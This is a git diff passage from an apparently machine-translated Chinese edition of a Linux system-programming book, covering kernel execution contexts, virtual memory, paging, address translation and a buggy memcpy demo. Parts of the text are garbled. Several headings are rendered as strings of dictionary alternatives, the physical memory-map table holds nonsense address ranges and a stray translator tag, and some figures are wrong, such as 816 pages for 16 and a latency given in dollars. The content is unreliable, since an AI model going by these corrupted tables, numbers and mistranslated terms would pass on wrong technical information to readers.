当然,它在内核的幕后变得非常复杂;简而言之,Write 的内核代码最终会切换到正确的驱动程序代码;设备驱动程序是唯一可以直接与外围硬件一起工作的组件。 它执行对监视器的实际写入,返回值一直传播回应用。 - -在下图中,**P**是运行时的`hello, world`进程: - -![](img/7e279435-c3f2-42d6-872b-5bfc9e75783a.png) - -Fig 6: Code flow: printf-to-kernel - -另外,从图中我们可以看到,glibc 被认为由两个部分组成: - -* **Arch-Independent glibc**:常规 libc 接口(如:[s|sn|v]printf,memcpy,memcmp,atoi) -* **依赖于 Arch 的 glibc**:系统调用存根 - -Here, by arch, we mean CPU. -Also the ellipses (...) represent additional logic and processing within kernel-space that we do not show or delve into here. - -现在`hello, world`的代码流路径更清晰了,让我们回到单块的内容! - -很容易假设它是这样工作的: - -1. `hello, world`应用(进程)发出`printf(3)`库调用。 -2. `printf`发出`write(2)`系统调用。 -3. 我们从用户模式切换到 Supervisor(内核)模式。 -4. 内核接管-它将`hello, world`写入监视器。 -5. 切换回非特权用户模式。 - -事实上,事实并非如此。 - -事实是,在整体设计中,没有内核;换句话说,内核实际上是进程本身的一部分。 它的工作方式如下: - -1. `hello, world`应用(进程)发出`printf(3)`库调用。 -2. Printf 发出`write(2)`系统调用。 -3. 调用系统调用的进程现在从用户模式切换到管理程序(内核)模式。 -4. 该进程运行底层内核代码、底层设备驱动程序代码,因此将`hello, world`写入监视器! -5. 然后,该进程切换回非特权用户模式。 - -总而言之,在单片内核中,当进程(或线程)发出系统调用时,它会切换到特权管理程序或内核模式,并运行系统调用的内核代码(处理内核数据)。 完成后,它将切换回非特权用户模式,并继续执行用户空间代码(处理用户数据)。 - -了解这一点非常重要: - -![](img/c1a9482d-6e8f-43db-89cc-b6f42feec640.png) - -Fig 7: Life of a process in terms of privilege modes - -上图试图说明 X 轴是时间轴,Y 轴表示用户模式(在顶部)和管理程序(内核)模式(在底部): - -* **时间 t0**:一个进程在内核模式下诞生(创建进程的代码当然在内核中)。 一旦完全生成,它就切换到用户(非特权)模式,并运行它的用户空间代码(也在处理它的用户空间数据项)。 -* **时间 t1**:该进程直接或间接(可能通过库 API)调用系统调用。 它现在陷入内核模式(参见表*CPU 架构上的系统调用*,显示了根据 CPU 执行此操作的机器指令),并在特权管理程序模式下执行内核代码(也处理内核数据项)。 -* **时间 t2**:系统调用完成;进程切换回非特权用户模式并继续执行其用户空间代码。 -* **时间 tn**:进程要么故意通过调用 exit API 终止,要么被信号终止。 它现在切换回 Supervisor 模式(因为 exit(3)库 API 调用 _exit(2)系统调用),执行 _exit()的内核代码,然后结束。 - -事实上,大多数现代操作系统都是单片的(尤其是类 Unix 的)。 - -Technically, Linux is not considered 100 percent monolithic. It's considered to be mostly monolithic, but also modular, due to the fact that the Linux kernel supports modularization (the plugging in and out of kernel code and data, via a technology called **Loadable Kernel Modules** (**LKMs**)). -Interestingly, MS Windows (specifically, from the NT kernel onward) follows a hybrid architecture that is both monolithic and microkernel. - -# 内核内的执行上下文 - -内核代码始终在以下两种上下文之一中执行: - -* 对…进行加工 / 审核 / 检查 -* 中止 / 打断 / 打破连续性 / 阻碍 - -It's easy to get confused here. Remember, this discussion applies to the context in which kernel code executes, not userspace code. - -# 流程上下文 - -现在我们了解了可以通过发出系统调用来调用内核服务。 发生这种情况时,调用进程将在内核模式下运行系统调用的内核代码。 这称为**进程上下文**-内核代码现在正在调用系统调用的进程上下文中运行。 - -流程上下文代码具有以下属性: - -* 总是由发出系统调用的进程(或线程)触发 -* 自上而下方法 -* 由进程同步执行内核代码 - -# 中断上下文 - -乍一看,内核代码似乎没有其他执行方式。 那么,考虑一下这个场景:网络接收路径。 发往您的以太网 MAC 地址的网络数据包到达硬件适配器后,硬件会检测到该数据包是发往该地址的,然后将其收集并进行缓冲。 它现在必须让操作系统知道;更严格地说,它必须让**网络接口卡**(**NIC**)设备驱动程序知道,这样它就可以在数据包到达时获取和处理它们。 它通过断言硬件中断来启动 NIC 驱动程序。 - -回想一下,设备驱动程序驻留在内核空间,因此它们的代码在 Supervisor 或内核模式下运行。 (内核特权)驱动程序代码**中断服务例程**(**ISR**)现在执行,获取数据包,并将其发送到操作系统网络协议栈进行处理。 - -网卡驱动程序的 ISR 代码是内核代码,它已经运行,但是在什么环境下运行? 这显然不是在任何特定过程的背景下进行的。 事实上,硬件中断可能中断了一些进程。 因此,我们将其称为*中断上下文*。 - -中断上下文代码具有以下属性: - -* 总是由硬件中断(不是软件中断、故障或异常;仍是进程上下文)触发 -* 自下而上的方法 -* 通过中断异步执行内核代码 - -If, at some point, you do report a kernel bug, it helps if you point out the execution context. - -从技术上讲,在中断上下文中,我们有进一步的区别,比如硬 IRQ 和软 IRQ、下半部分和微线程。 然而,这个讨论超出了本书的范围。 - -# 简略的 / 概括的 / 简易判罪的 / 简易的 - -本章首先解释 Unix 设计哲学,包括 Unix 哲学、设计和体系结构的核心原则或支柱。 然后我们描述了 Linux 系统架构,其中我们介绍了 CPU-ABI(应用二进制接口)、ISA 和工具链的含义(使用`objdump`反汇编一个简单的程序,并通过内联汇编访问 CPU 寄存器)。 讨论了 CPU 特权级别及其在现代操作系统中的重要性,介绍了 Linux 系统架构层-应用层、库层、系统调用层和内核层。 本章最后讨论了 Linux 是如何成为一个单片操作系统的,然后探索了内核执行环境。 - -在下一章中,读者将深入了解并牢牢掌握虚拟内存的奥秘-它到底是什么意思,为什么会出现在所有现代操作系统中,以及它提供的关键好处。 我们将讨论进程虚拟地址空间构建的相关细节。 \ No newline at end of file diff --git a/docs/handson-sys-prog-linux/02.md b/docs/handson-sys-prog-linux/02.md deleted file mode 100644 index 36ce7ad7..00000000 --- a/docs/handson-sys-prog-linux/02.md +++ /dev/null @@ -1,869 +0,0 @@ -# 二、虚拟内存 - -回到本章,我们将了解**虚拟内存**(**VM**)的含义和用途,重要的是,为什么它是一个关键概念和必需概念。 我们将介绍 VM 的含义和重要性、分页和地址转换、使用 VM 的好处、正在执行的进程的内存布局,以及内核看到的进程的内部布局。 我们还将深入研究哪些段构成进程虚拟地址空间。 在难以调试的情况下,这方面的知识是必不可少的。 - -在本章中,我们将介绍以下主题: - -* 虚拟内存 -* 进程虚拟地址空间 - -# 技术要求 - -需要一台现代化的台式 PC 或笔记本电脑;Ubuntu Desktop 为安装和使用发行版指定了以下建议的系统要求: - -* 2 GHz 双核或更高处理器 -* * **在物理主机上运行**:2 GB 或更大系统内存 - * **以来宾身份运行**:主机系统应至少有 4 GB RAM(越多,体验越好、越流畅) - -* 25 GB 可用硬盘空间 -* 用于安装程序介质的 DVD 驱动器或 USB 端口 -* 上网肯定是有帮助的 - -我们建议读者使用以下 Linux 发行版之一(如上所述,可以作为 Windows 或 Linux 主机系统上的客户操作系统*和*安装): - -* Ubuntu 18.04 LTS Desktop(Ubuntu 16.04 LTS Desktop 也是一个很好的选择,因为它也有长期的支持,几乎所有东西都应该可以工作) - * Ubuntu:桌面下载链接:[https://www.ubuntu.com/download/desktop](https://www.ubuntu.com/download/desktop) -* Feddora-27(工作站) - * 下载链接:11-13[HTTPS://getfedora.org/en_gb/workstation/download/](https://getfedora.org/en_GB/workstation/download/) - -请注意,这些发行版的默认形式是 OSS 和非专有的,并且可以作为最终用户免费使用。 - -There are instances where the entire code snippet isn't included in the book . Thus the GitHub URL to refer the codes: [https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux](https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux).  -Also, for the further reading section, refer to the preceding GitHub link. - -# 虚拟内存 - -现代操作系统基于一种名为 VM 的内存模型。 这包括 Linux、Unix、MS Windows 和 MacOS。 真正理解现代操作系统是如何在幕后工作的,需要对虚拟机和内存管理有深刻的理解,而不是本书中我们深入探讨的主题;然而,扎实地掌握虚拟机概念对于 Linux 系统开发人员来说是至关重要的。 - -# 没有虚拟机-问题所在 - -让我们设想一下,VM 和它所携带的所有复杂包袱都不存在。 因此,我们正在一个(虚构的)纯平面物理内存平台上工作,比如说,它有 64MB 的 RAM。 这实际上并不是那么不寻常-大多数旧操作系统(想想 DOS),甚至现代的**实时操作系统**(RTOS)都是这样运行的: - -![](img/3c80c1e0-d9e3-4f87-8f4a-e887fa0a5ed2.png) - -Figure 1: Flat physical address space of 64 MB - -显然,在这台机器上运行的所有东西都必须共享这个物理内存空间:操作系统、设备驱动程序、库和应用。 我们可能会这样将其可视化(当然,这并不是为了反映实际的系统--这只是一个高度简化的示例,以帮助您了解情况):一个操作系统、几个设备驱动程序(用于驱动硬件外围设备)、一组库和两个应用。 这个虚构的(64 MB 系统)平台的物理内存映射(未按比例绘制)可能如下所示: - -| **对象** | **占用的空间** | **地址范围** | -| 操作系统(OS) | 3 MB | ==同步,由 Elderman 更正==@ELDER_MAN | -| 设备驱动程序 | 5MB | 0x02d0 0x0320 0x0320 0x02d0 | -| 图书馆 / 图书馆的藏书 / 资料室 / 文库 | 10 MB | 0x00a00,000-0x040 | -| 应用 2 | 1MB | 0x0010 0x0x0020 0x0010 0x0020 0x0020 0x0020 | -| 应用 1 | 0.5MB | 0x0000»0x0008 0000 | -| 总可用内存 | 44.5 MB | | - -Table 1: The physical memory map - -相同的虚构系统如下图所示: - -![](img/c2247e5e-1f97-4fd0-8ef7-410a2ccf8b62.png) - -Fig 2: The physical memory map of our fictional 64 MB system - -当然,通常情况下,该系统在发布之前会经过严格的测试,并将按预期运行;不过,在我们的行业中,您可能听说过一种叫做 bug 的东西。 确实是这样。 - -但让我们设想一下,假设由于以下原因之一,在无处不在的应用`memcpy(3)`和 glibc API 的使用过程中,有一个危险的错误潜入应用 1: - -* 不经意的编程错误 -* 蓄意恶意 - -作为快速提醒,`memcpy`库 API 的用法如下所示: - -`void *memcpy(void *dest, const void *src, size_t n).` - -# 客观的 / 宾格的 / 真实的 / 目标的 - -下面的 C 程序片段打算使用常用的`memcpy(3)`和 glibc API 将一些内存(例如 1024 字节)从源位置 300KB 复制到目标位置 400KB 到程序中。由于应用 1 是位于物理内存低端的程序(请参见前面的内存图),因此它从物理偏移量的`0x0`开始。 - -We understand that on a modern OS nothing will start at address `0x0`; that's the canonical NULL memory location! Keep in mind that this is just a fictional example for learning purposes - -首先,让我们看看正确的用法。 - -请参阅以下伪代码: - -```sh -phy_offset = 0x0; -src = phy_offset + (300*1024); /* = 0x0004 b000 */ -dest = phy_offset + (400*1024); /* = 0x0006 4000 */ -n = 1024; -memcpy(dest, src, n); -``` - -上述代码的效果如下图所示: - -![](img/abe5252f-75e7-4d7c-bf4a-0aeab82fb356.png) - -Fig 3: Zoomed into App 1: the correct memcpy() - -如上图所示,这是可行的! (大)箭头显示从源到目标的复制路径,长度为 1,024 字节。 太棒了。 - -现在来看马车的案子。 - -所有内容都保持不变,只是这一次由于错误(或恶意),`dest`*和*指针被修改如下: - -```sh -phy_offset = 0x0; -src = phy_offset + (300*1024); /* = 0x0004 b000 */ -dest = phy_offset + (400*1024*156); /* = 0x03cf 0000 *!*BUG*!* */ -n = 1024; -memcpy(dest, src, n); -``` - -目标位置现在大约 64 KB(0x03cf0000-0x03d00000)进入操作系统! 最好的部分:代码本身不会失败*。* `memcpy()`履行其职责。 当然,现在操作系统可能已经损坏,整个系统(最终)将崩溃。 - -注意,这里的目的不是调试原因(我们知道);这里的目的是清楚地认识到,尽管有这个错误,memcpy 还是成功的。 -为什么? 这是因为我们正在用 C 语言编程--我们可以随心所欲地读写物理内存;无意中的 bug 是我们的问题,而不是语言的问题! - -那现在怎么办? 啊,这是 VM**,**系统出现的关键原因之一。 - -# 虚拟内存 - -不幸的是,术语**虚拟内存**(**VM**)经常被大多数工程师误解或模糊理解。 在本节中,我们试图阐明这个术语及其相关术语(如内存金字塔、寻址和分页)的真正含义;对于开发人员来说,清楚地理解这一关键领域非常重要。 - -First, what is a process? - -A process is an instance of a program in execution*.* -A program is a binary executable file: a dead, disk object. For example, take the `cat` program*:* `$ ls -l /bin/cat` -`-rwxr-xr-x 1 root root 36784 Nov 10 23:26 /bin/cat` -`$` -When we run `cat` it becomes a live runtime schedulable entity, which, in the Unix universe, we call a process. - -为了更清楚地理解更深层次的概念,我们从一台小的、简单的、虚构的机器开始。 想象一下,它有一个有 16 条地址线的微处理器。 因此,很容易看出,它可以访问 216=65,536 字节=64 KB 的总潜在内存空间(或地址空间): - -![](img/a8c1b992-8b5e-4242-a6d8-849724f94961.png) - -Fig 4: Virtual memory of 64 KB - -但是,如果机器上的物理内存(RAM)要小得多,比如 32KB,那该怎么办呢? -显然,上图描述的是虚拟内存,而不是物理内存。 -同时,物理内存(RAM)如下所示: - -![](img/01122e43-c0aa-442b-861e-5f31ad13a0e0.png) - -Fig 5: Physical memory of 32 KB - -尽管如此,系统对每个活着的进程做出的承诺:每个进程都将拥有整个虚拟地址空间,即 64KB。这听起来很荒谬,不是吗?是的,直到人们意识到内存不仅仅是 RAM;实际上,内存被视为一个层次结构-通常被称为内存金字塔: - -![](img/2ae13549-17b9-41bf-97c9-ec81c261fa88.png) - -Fig 6: The Memory pyramid - -就像生活一样,每件事都是需要权衡的。 在金字塔的顶端,我们以牺牲大小为代价获得了**速度**;在金字塔的底部,它是以速度为代价倒置的:**大小**。 人们也可以认为 CPU 寄存器位于金字塔的最顶端;因为它的大小几乎微不足道,所以没有显示出来。 - -*Swap* is a filesystem type – a raw disk partition is formatted as swap upon system installation. It's treated as second-level RAM by the OS. When the OS runs out of RAM, it uses swap. As a rough heuristic, system administrators sometimes configure the size of the swap partition to be twice that of available RAM. - -为了帮助量化这一点,根据 Hennessy&Patterson 的*Computer Architecture*,*A Quantity Approach*,*Five Ed*,相当典型的数字如下: - -| **类型** | **CPU 寄存器** | **CPU 缓存** | **RAM** | **交换/存储** | -| L1 | L2 | L3 | -| 提供服务者 / 发球员 / 服勤者 | 1000 字节 | 64 KB | 256 KB | 2-4 MB | 4-16 GB | 4-16 TB | -| 300ps | 1 ns | 3-10 ns | 10-20 ns | 50-100 ns | 5-10 毫秒 | -| 嵌入的 | 500 字节 | 64 KB | 256 KB | -你知道吗? | 256-512 MB | 4-8 GB 闪存 | -| 500 ps | 2 ns | 10-20 ns | -你知道吗? | 50-100 ns | 25-50 美元 | - -Table 2: Memory hierarchy numbers Many (if not most) embedded Linux systems do not support a swap partition; the reason is straightforward: embedded systems mostly use flash memory as the secondary storage medium (not a traditional SCSI disk as do laptops, desktops, and servers). Writing to a flash chip wears it out (it has limited erase-write cycles); hence, embedded-system designers would rather sacrifice swap and just use RAM. (Please note that the embedded system can still be VM-based, which is the usual case with Linux and Win-CE, for example). - -操作系统将尽最大努力保持工作页面集尽可能位于金字塔的最高位置,从而优化性能。 - -It's important for the reader to note that, in the sections that follow, while this book attempts to explain some of the inner workings of advanced topics such as VM and addressing (paging), we quite deliberately do not paint a complete, realistic, real-world view. - -The reason is straightforward: the deep and gory technical details are well beyond the scope of this book. So, the reader should keep in mind that several of the following areas are explained in concept and not in actuality. The *Further reading* section provides references for readers who are interested in going deeper into these matters. Refer it on the GitHub repository. - -# 解决 1--简单化的有缺陷的方法 - -好了,现在来看记忆金字塔;即使我们同意虚拟记忆现在是一种可能性,但一个关键和困难的障碍仍然存在。 要解释这一点,请注意,每个活动的进程都将占用整个可用的**虚拟地址空间**(**VAS**)。 因此,每个进程在 VAS 方面都与其他进程重叠。 但这是如何运作的呢? 它本身是不会的。 为了让这个精心设计的方案发挥作用,系统必须以某种方式将每个进程中的每个虚拟地址映射到一个物理地址! 请参阅以下虚拟地址到物理地址的映射: - -**Process P:virtual address (va) → RAM:physical address (pa)** - -那么现在的情况是这样的: - -![](img/22cf8ed4-3660-4494-9bb3-cbb3b2281b94.png) - -Fig 7: Processes containing virtual addresses - -进程**P1**、**P2**和**PN**在 VM 中处于活动状态并且运行良好。 它们的虚拟地址空间大小从 0 到 64 KB,并且相互重叠。 此(虚构)系统上存在 32KB 的物理内存(RAM)。 - -例如,每个进程的两个虚拟地址以以下格式显示: - -**`P'r':va'n'`**;其中`r`是进程号,`n`是 1 和 2。 - -如前所述,现在的关键是将每个进程的虚拟地址映射到物理地址。 因此,我们需要映射以下内容: - -```sh -P1:va1 → P1:pa1 -P1:va2 → P1:pa2 -... - -P2:va1 → P2:pa1 -P2:va2 → P2:pa2 -... - -[...] - -Pn:va1 → Pn:pa1 -Pn:va2 → Pn:pa2 -... -``` - -我们可以让操作系统执行此映射;然后,操作系统将为每个进程维护一个映射表来执行此操作。 从图表和概念上看,它如下所示: - -![](img/a7af066e-5f21-4d90-8aee-d155b5ed2b09.png) - -Fig 8: Direct mapping virtual addresses to physical RAM addresses - -那就这样了吗? 实际上,看起来很简单。 嗯,不,它在现实中是行不通的:要将每个进程所有可能的虚拟地址映射到 RAM 中的物理地址,操作系统需要为每个进程的每个地址维护一个**va**到**pa**的转换条目! 这太昂贵了,因为每个表都可能超过物理内存的大小,从而使该方案变得无用。 - -快速计算会发现我们有 64KB 的虚拟内存,即 65,536 个字节或地址。 这些虚拟地址中的每一个都需要映射到物理地址。 因此,每个流程都需要: - -* 对于映射表,65536*2=131072=128KB。 每个进程。 - -实际上,情况会变得更糟;操作系统需要在每个地址转换条目中存储一些元数据;比方说 8 字节的元数据。 所以现在,每个流程都需要: - -* 65536*2*8=1048576=1 MB,用于映射表。 每个进程。 - -哇,每个进程 1 兆字节的 RAM! 这太多了(想想嵌入式系统);而且,在我们虚构的系统上,总共有 32KB 的 RAM。 哎呦。 - -好的,我们可以通过不映射每个字节而映射每个字来减少这个开销;比如说,4 个字节映射到一个字。 所以现在,每个流程都需要: - -* (65536*2*8)/4=262144=256KB,用于映射表。 每个进程。 - -好多了,但还不够好。 如果只有 20 个进程处于活动状态,我们将需要 5MB 的物理内存来仅存储映射元数据。 使用 32KB 的 RAM,我们无法做到这一点。 - -# 简要介绍 2 小时寻呼 - -为了解决这个棘手的问题(双关语),计算机科学家想出了一个解决方案:不要试图将单个虚拟字节(甚至单词)映射到它们的物理对应项;这太昂贵了。 相反,应将物理和虚拟内存空间划分为块并对其进行映射。 - -简而言之,有两种方法可以做到这一点: - -* 硬件分段 -* 硬件分页 - -**硬件分段:**将虚拟和物理地址空间划分为称为**段**的任意大小的块。 最好的例子是 Intel 32 位处理器。 - -**硬件分页:**将虚拟和物理地址空间分割成大小相等的块,称为**页**。 大多数实际处理器都支持硬件分页,包括 Intel、ARM、PPC 和 MIPS。 - -实际上,选择使用哪种方案甚至不是由操作系统开发人员决定的:选择是由硬件 MMU 决定的。 - -Again, we remind the reader: the intricate details are beyond the scope of this book. See the *Further reading* section on the GitHub repository. - -让我们假设我们使用分页技术。 关键之处在于,我们不再尝试将每个进程所有可能的虚拟地址映射到 RAM 中的物理地址,而是将虚拟页面(仅称为页面)映射到物理页面(称为页帧)。 - -Common Terminology - -**virtual address space** : **VAS** -Virtual page within the process VAS : page -Physical page in RAM : **page frame** (**pf**) Does NOT work: **virtual address** (**va**) → **physical address** (**pa**) -Does work: (virtual) page → page frame  - -The left-to-right arrow represents the mapping. - -根据经验法则(以及普遍接受的规范),页面大小为 4 千字节(4,096 字节)。同样,决定页面大小的是处理器**内存管理单元**(**MMU**)。 - -那么,这一计划如何以及为什么会有所帮助呢? - -想一想,在我们的虚构机器里,我们有:64KB 的 VM,也就是 64K/4K=816 页,32KB 的 RAM,也就是 32K/4K=8 个页框。 - -将 16 个页面映射到相应的页帧需要每个进程只有 16 个条目的表;这是可行的! - -As in our earlier calculations: -16 * 2 * 8 = 256 bytes, for a mapping table per process. - -非常重要的一点是,它值得重复:我们是否可以将(虚拟)页面映射到(物理)页面框架! - -这是由操作系统在每个进程的基础上完成的。 因此,每个进程都有自己的映射表,在运行时将页面转换为页帧;它通常称为**分页表**(**PT**): - -![](img/051c43fb-a2e3-4f6b-8fa6-72d8dfe5f411.png) - -Fig 9: Mapping (virtual) pages to (physical) page frames - -# 分页表 - -同样,在我们的虚构机器中,我们有 64KB 的 VM,即 64K/4K=16 页,以及 32KB 的 RAM,即 32K/4K=8 个页帧。 - -将 16 个(虚拟)页面映射到相应的(物理)页帧需要每个进程只有 16 个条目的表,这使得整个交易可行。 - -非常简单地说,操作系统创建的单个进程的 PT 如下所示: - -| **(虚拟)页** | **(物理)页框** | -| `0` | `3` | -| `1` | `2` | -| `2` | `5` | -| `[...]` | `[...]` | -| `15` | `6` | - -Table 3: OS-created PT - -当然,精明的读者会注意到我们有一个问题:我们有 16 页和只有 8 个页框可以将它们映射到地图上--剩下的 8 页怎么办? - -好吧,考虑一下这个: - -* 实际上,每个进程都不会将每个可用页面用于代码或数据或其他任何东西;虚拟地址空间的几个区域将保持为空(稀疏), -* 即使我们确实需要它,我们也有办法:不要忘记记忆金字塔。 当内存用完时,我们使用交换。 因此,流程的(概念性)PT 可能如下所示(例如,第 13 页和第 14 页驻留在交换中): - -| **(虚拟)页** | **(物理)页框** | -| `0` | `3` | -| `1` | `2` | -| `2` | `5` | -| `[...]` | `[...]` | -| `13` | `` | -| `14` | `` | -| `15` | `6` | - -Table 4: Conceptual PT Again, please note that this description of PTs is purely conceptual; actual PTs are more complex and highly arch (CPU/MMU) dependent. - -# 间接 / 拐弯抹角 / 迂回 / 不坦率 - -通过引入分页,我们实际上引入了一种间接级别:我们不再认为(虚拟)地址是从零开始的绝对偏移量,而是相对量:`va = (page, offset)`。 - -我们认为每个虚拟地址都与页码和从该页开始的偏移量相关联。 这称为使用一个级别的间接。 - -因此,每当进程引用虚拟地址时(当然,请注意,几乎所有时候都会发生这种情况),系统必须基于该进程的 PTS 将虚拟地址转换为相应的物理地址。 - -# 地址转换 - -因此,在运行时,该进程查找一个虚拟地址,比方说,从 0 开始查找 9,192 字节,也就是它的虚拟地址:**`va = 9192 = 0x000023E8`**。 如果每页大小为 4,096 字节,这意味着新地址位于第三页(页#2)上,从该页开始的偏移量为 1,000 字节。 - -因此,对于一个间接层,我们有:**`va = (page, offset) = (2, 1000)`**。 - -啊哈! 现在我们可以看到地址转换的工作原理:操作系统发现进程需要第 2 页中的地址。它在该进程的 PT 上进行查找,发现第 2 页映射到页帧 5。要计算如下所示的物理地址: - -```sh -pa = (pf * PAGE_SIZE) + offset - = (5 * 4096) + 1000 - = 21480 = 0x000053E8 -``` - -这就对了。 - -系统现在将物理地址放在总线上,CPU 照常执行其工作。 它看起来很简单,但同样,它也不现实-请参阅下面的信息框。 - -分页模式获得的另一个优势是操作系统只需要存储页面到页面框架的映射。 这让我们只需添加偏移量,就可以自动将页面中的任何字节转换为页面帧中相应的物理字节,因为页面和页面框架之间存在 1:1 的映射(两者的大小相同)。 - -In reality, it's not the OS that does the actual calculations to perform address-translation. This is because doing this in the software would be far too slow (remember, looking up virtual addresses is an ongoing activity happening almost all the time). The reality is that the address lookup and translation is done by silicon – the hardware **Memory Management Unit** (**MMU**) within the CPU! - -Keep the following in mind: -    • The OS is responsible for creating and maintaining PTs for each process. -    • The MMU is responsible for performing runtime address-translation (using the OS PTs). -    • Beyond this, modern hardware supports hardware accelerators, such as the TLB, use of CPU caches, and virtualization extensions, which go a long way toward getting decent performance. - -# 使用虚拟机的优势 - -乍一看,虚拟内存和相关的地址转换带来的巨大开销似乎保证不使用它。 是的,开销很高,但现实是这样的: - -* 现代硬件加速(通过 TLB/CPU 缓存/预取)减轻了这一开销,并提供了相当不错的性能 -* 从虚拟机中获得的好处超过了性能问题 - -在基于 VM 的系统上,我们可以获得以下好处: - -* 进程隔离 -* 程序员不必担心物理存储器 -* 内存保护 - -更好地理解这些是很重要的。 - -# 进程隔离 - -有了虚拟内存,每个进程都可以在沙箱中运行,而沙箱是其 VAS 的范围。 关键规则是:它不能跳出框框。 - -因此,想想看,一个进程不可能窥视或戳到任何其他进程的 VA 的内存。 这有助于使系统安全稳定。 - -例如:我们有两个进程,A 和 B。进程 A 想要写入进程 B 中的虚拟地址 A`0x10ea`。它不能,即使它试图写入该地址,它实际上所做的只是写入它自己的虚拟地址:T`0x10ea`! 阅读也是如此。 - -所以我们得到了进程隔离--每个进程都与其他进程完全隔离。 -进程 A 的虚拟地址 X 与进程 B 的虚拟地址 X 不同;它们很可能转换为不同的物理地址(通过它们的 PT)。 -利用这一特性,Android 系统被设计为非常有意地使用 Android 应用的进程模型:当 Android 应用启动时,它会变成一个 Linux 进程,该进程驻留在它自己的 VAS 中,与其他 Android 应用(进程)隔离,因此不受其他 Android 应用(进程)的影响! - -* 同样,不要错误地假设给定进程中的每个(虚拟)页面对于该进程本身都是有效的。 页面只有在被映射的情况下才是有效的,也就是说,它已经被分配,并且操作系统对它有一个有效的翻译(或者找到它的方法)。 事实上,尤其是对于庞大的 64 位 VAS,进程虚拟地址空间被认为是非常稀疏的,也就是稀缺的。 -* 如果进程隔离是如上所述的,那么如果进程 A 需要与进程 B 对话怎么办? 事实上,这是许多(如果不是大多数)真正的 Linux 应用经常需要的设计要求-我们需要一些机制才能读/写另一个进程的 VAS。 现代操作系统提供了实现这一点的机制:**进程间通信**(**IPC**)机制。 (有关 IPC 的一些内容可以在[第 15 章](15.html)和*使用 Pthread 的多线程第二部分-同步中找到。* ) - -# 程序员不必担心物理存储器 - -在较旧的操作系统上,甚至在现代的 RTOS 上,程序员应该详细了解整个系统的内存布局,并相应地使用内存(回想*图 1*)。 显然,这给开发人员带来了很大的负担;他们必须确保在系统的物理限制范围内正常工作。 - -大多数在现代操作系统上工作的现代开发人员从来没有这样想过:比如说,如果我们想要 512KB 的内存,难道我们不只是动态分配它(使用`malloc(3)`,稍后将在[第 4 章](04.html),*动态内存分配*中详细介绍),而留下如何以及在哪里对库和 OS 层进行操作的确切细节? 事实上,我们可以这样做几十次,而不用担心这样的问题:“是否有足够的物理 RAM?应该使用哪些物理页帧?碎片/浪费怎么办?” - -我们还获得了额外的好处,系统返回给我们的内存保证是连续的;当然,它实际上是连续的,它不需要是物理上连续的,但这种细节正是 VM 层负责的! - -所有这些都是由操作系统中的库层和底层内存管理系统有效地处理的。 - -# 内存保护 - -也许 VM 最重要的好处是:能够定义对虚拟内存的保护,并让操作系统遵守这些保护。 - -UNIX 和 Friends(包括 Linux)在内存页上允许四个保护值或权限值: - -| **保护或权限类型** | **含义** | -| 毫不 / 绝不 | 没有在页面上执行任何操作的权限 | -| 阅读 / 检查记录上的数字 / 攻读 / 复制 | 页面可以从中读取 | -| 写字 / 写给 / 编著 / 写作 | 页面可以写入 | -| 执行 | 可以执行页面(代码) | - -Table 5:  Protection or permission values on memory pages - -让我们来看一个小例子:我们在进程中分配了四页内存(编号为 0 到 3)。 默认情况下,页面上的默认权限或保护是**RW**(**读写**),这意味着页面既可以读取,也可以写入。 - -借助虚拟内存操作系统级别的支持,操作系统公开了 API(系统调用的`mmap(2)`和`mprotect(2)`),用户可以使用这些 API 更改默认的页面保护!请看下表: - -| **内存页编号** | **默认保护** | **更改保护** | -| 0 | RW- | 不不 | -| 1. | RW- | 只读(R--) | -| 2 个 | RW- | 只写(-W-) | -| 3. | RW- | 读取-执行(R-X) | - -有了这样强大的 API,我们可以将内存保护设置为单个页面的粒度! - -应用(实际上是操作系统)可以并且确实能够利用这些强大的机制;事实上,这正是操作系统对进程地址空间的特定区域所做的事情(正如我们将在下一节*侧栏::测试 memcpy()‘C’程序*中了解的那样)。 - -好吧,好吧,我们可以在某些页面上设置一定的保护措施,但如果某个应用违反了这些保护措施呢? 例如,在将第 3 页(如上表所示)设置为读取-执行后,如果应用(或操作系统)尝试写入该页怎么办? - -这就是虚拟内存(和内存管理)的真正力量所在:现实是,在启用了 VM 的系统上,操作系统(更现实地说,是 MMU)能够进入每一次内存访问,并确定最终用户进程是否遵守规则。 如果是,则访问成功进行;如果不是,则 MMU 硬件引发异常(与中断相似,但不完全相同)。 操作系统现在跳转到称为异常(或故障)处理程序的代码例程中。 OS 异常处理例程确定该访问是否确实是非法的,如果是,则 OS 立即终止尝试该非法访问的进程。 - -这样可以保护你的记忆吗? 事实上,这几乎就是分段违规或分段错误的含义;在[第 12 章](12.html),*信号-第二部分*中有更多关于这方面的内容。 异常处理程序例程称为 OS 故障处理程序。 - -# 侧边栏::测试 memcpy()C 程序 - -现在我们已经更好地理解了 VM 系统的内容和原因,让我们回到本章开始时考虑的有缺陷的伪代码示例:我们使用`memcpy(3)`复制一些内存,但是指定了错误的目标地址(并且它将覆盖我们虚构的仅限物理内存的系统中的操作系统本身)。 - -这里显示并试用了一个概念上类似的 C 程序,但它运行在 Linux 上-一个完全支持虚拟内存的操作系统。 让我们看看 Buggy 程序在 Linux 上是如何工作的: - -```sh -$ cat mem_app1buggy.c /* - * mem_app1buggy.c - * - *************************************************************** - * This program is part of the source code released for the book - * "Linux System Programming" - * (c) Kaiwan N Billimoria - * Packt Publishers - * - * From: - * Ch 2 : Virtual Memory - **************************************************************** - * A simple demo to show that on Linux - full-fledged Virtual - * Memory enabled OS - even a buggy app will _NOT_ cause system - * failure; rather, the buggy process will be killed by the - * kernel! - * On the other hand, if we had run this or a similar program in a flat purely - * physical address space based OS, this seemingly trivial bug - * can wreak havoc, bringing the entire system down. - */ -#define _GNU_SOURCE -#include -#include -#include -#include -#include "../common.h" - -int main(int argc, char **argv) -{ - void *ptr = NULL; - void *dest, *src = "abcdef0123456789"; - void *arbit_addr = (void *)0xffffffffff601000; - int n = strlen(src); - - ptr = malloc(256 * 1024); - if (!ptr) - FATAL("malloc(256*1024) failed\n"); - - if (argc == 1) - dest = ptr; /* correct */ - else - dest = arbit_addr; /* bug! */ - memcpy(dest, src, n); - - free(ptr); - exit(0); -} -``` - -`malloc(3)`API 将在下一章详细介绍;目前,只需理解它用于为进程动态分配 256KB 的内存。 当然,`memcpy(3)`还用于将内存从源指针复制到目标指针,以 n 字节为单位: - -```sh -void *memcpy(void *dest, const void *src, size_t n); -``` - -有趣的是,我们有一个名为`arbit_addr`的变量;它被设置为任意无效(虚拟)地址。 